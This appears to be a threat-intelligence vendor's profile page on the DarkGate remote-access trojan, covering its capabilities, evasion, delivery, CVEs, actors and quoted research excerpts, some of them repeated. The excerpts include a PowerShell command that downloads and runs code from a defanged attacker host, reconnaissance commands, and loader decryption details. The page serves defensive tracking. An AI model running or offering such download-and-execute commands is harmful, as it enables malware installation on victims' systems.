Loading malware…
DarkGate is a Windows remote-access trojan and malware-as-a-service offering, also known as MehCrypter, first reported in 2018. It has been marketed by the underground actor RastaFarEye and used by multiple cybercrime clusters, including activity associated with ransomware intrusion chains and campaigns linked to Black Basta tradecraft. DarkGate provides remote control and modular post-compromise functions including information theft, browser and remote-desktop credential theft, keylogging, screen capture, hidden virtual network computing, file management, and download-and-execute functionality for additional payloads. It has also been used to facilitate ransomware deployment and cryptocurrency mining.
DarkGate employs layered loaders and extensive evasion measures. Observed versions use AutoIt, AutoHotKey, Visual Basic Script, shellcode, in-memory PE loading, process hollowing or injection, parent-process spoofing, custom encoding, anti-virtual-machine and anti-debugging checks, security-product discovery, and conditional behavior intended to evade endpoint defenses. It can establish persistence through Startup-folder artifacts and Run-key mechanisms, conceal installation artifacts in hidden directories, and use DLL side-loading through legitimate applications. Some versions implement User Account Control bypasses for privilege escalation. DarkGate encrypts keylogger output using host-derived material and can exfiltrate collected data to command-and-control infrastructure.
Observed delivery methods include malicious email attachments and links, hijacked email threads, Microsoft Teams lures, SharePoint-hosted archives, malicious PDF lures, fake browser-update pages, SEO-poisoned download sites, and malicious MSI, XLL, LNK, ZIP, JavaScript, and Visual Basic Script files. Campaigns have targeted organizations globally, with observed activity affecting sectors including healthcare technology and telecommunications.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Throughout 2024, we have seen an increase in malicious MSI files, such as in a DarkGate campaign that exploited the Microsoft Windows Internet Shortcut SmartScreen Bypass Vulnerability (CVE-2024-21412).
Additionally, the .URL files involved exploited CVE-2023-36025, a vulnerability in Windows SmartScreen. ... The vulnerability could allow an actor to bypass the SmartScreen defenses if a user clicked on a specially crafted .URL file or a hyperlink pointing to a .URL file. | Throughout the summer and fall of 2023, DarkGate entered the ring competing for the top spot in the remote access trojan (RAT) and loader category. It was observed in use by multiple cybercrime actors... DarkGate can be used to steal information and download additional malware payloads.
— Privilege Escalation using CVE-2021–1733 or Process Hollowing ... DarkGate attempts to escalate privileges in two ways. One method is using PsExec to obtain SYSTEM privileges(CVE-2021–1733), and the other method is the Process Hollowing method. | DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
13 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
“Since the TA571 / DarkGate campaign in 2024, one of the earliest documented usages of this technique, ClickFix campaigns have garnered widespread popularity among threat actors.”
Throughout the summer and fall of 2023, DarkGate entered the ring competing for the top spot in the remote access trojan (RAT) and loader category. It was observed in use by multiple cybercrime actors... DarkGate can be used to steal information and download additional malware payloads.
Cardinal has since resumed attacks and now appears to have switched to working with the operators of the DarkGate loader to obtain access to potential victims.
First discovered in 2018, DarkGate is a Remote Access Trojan (RAT) that enables attackers to fully compromise victim systems. The software is developed and sold as Malware-as-a-Service (MaaS) by an actor known as RastaFarEye on underground cybercrime forums.
DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
Specifically, our SOC frequently saw Black Basta sign Pikabot and Darkgate malware they used in phishing campaigns.
33 distinct techniques documented for this family, organized by ATT&CK tactic.
This campaign delivered fake browser update requests to end users on their web browsers that dropped a DarkGate payload... Users who passed the traffic inspection would be redirected to a fake browser update.
The first decoded part results in the AutoIt.exe binary and the second part is an AutoIt script that will be named script.au3... CreateProcessA function is called to execute the AutoIt script using AutoIt.exe
powershell.exe -Command Invoke-Expression (Invoke-RestMethod -Uri hxxp://todayput[.]shop:8080/rkypqqyb)
The VBS in turn downloaded and executed several shell commands (cmd.exe)
Once this export is called, a blob of hex bytes is xor decoded to produce a Wscript command containing C2 information and filenames.
used curl to download and save an AutoIT script, and ran the downloaded AutoIT script with the downloaded AutoIT interpreter. The AutoIT script ran an embedded DarkGate
Darkgate has recently utilised XLL (Excel Add-in) files as part of the infection process. An XLL is essentially a DLL file that can be executed by Microsoft Excel. When opened, the XLL will automatically execute the xlAutoOpen export.
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code. APT-C-36 has used process hollowing to execute malware in the memory of legitimate processes. Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.
The content repeatedly describes malware and threat actors that 'bypass UAC,' 'perform UAC bypass,' or use specific Windows components such as fodhelper.exe, eventvwr.exe, sdclt.exe, CMSTPLUA COM interface, SilentCleanup, and registry hijacks to gain elevated privileges.
Once the malware obtains the two parts it decodes both using the same custom base64 approach... The content next to the saved 8 bytes buffer is read and a multi-byte XOR operation is performed against it using the buffer as a XOR key.
The threat actor injected a request to a domain they controlled that used .css steganography to conceal the malicious code.
The DLL side-loading technique is used here in order to execute a fake version of the dbgeng.dll DLL file.
This ZIP compressed file contained five Windows shortcut or LNK files trying to masquerade a PDF file using the double extension method, '.pdf.lnk'.
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code. APT-C-36 has used process hollowing to execute malware in the memory of legitimate processes. Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.
read encrypted data stored in the sqlite3.dll file into a buffer, decrypt it using XOR with the decryption key “ VzXLKSZE ”, and finally execute the decrypted payload
The .URL files involved exploited CVE-2023-36025, a vulnerability in Windows SmartScreen... The vulnerability could allow an actor to bypass the SmartScreen defenses if a user clicked on a specially crafted .URL file
The shell commands... copied curl.exe from system folder to this new directory, used the curl to download Autoit3.exe
Further examination using the Orca tool reveals that the CustomAction section executes the bz.CustomActionDll file
Processor information from the registry value HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Windows product ID from the registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
systeminfo whoami net user <username> /domain ipconfig ping -n 1 <Domain Controller>
For the bot ID generation, DarkGate gathers five pieces of information: Computer name User name Processor information from the registry value HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Windows product ID from the registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId Number of processors via API GetSystemInfo
357 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
187 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Malware / Outils # Sauron Loader (loader) DarkGate (loader) LockBit (ransomware) ...
Mentioned solely as malware delivered in earlier campaigns using a similar email-bombing and vishing technique.
Mentioned as part of a 2024 TA571 campaign that was among the earliest documented uses of the ClickFix technique; it is background context and is not deployed in the StopAndProtect campaign described here.
Mentioned only as an example of another campaign using malicious MSI files.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.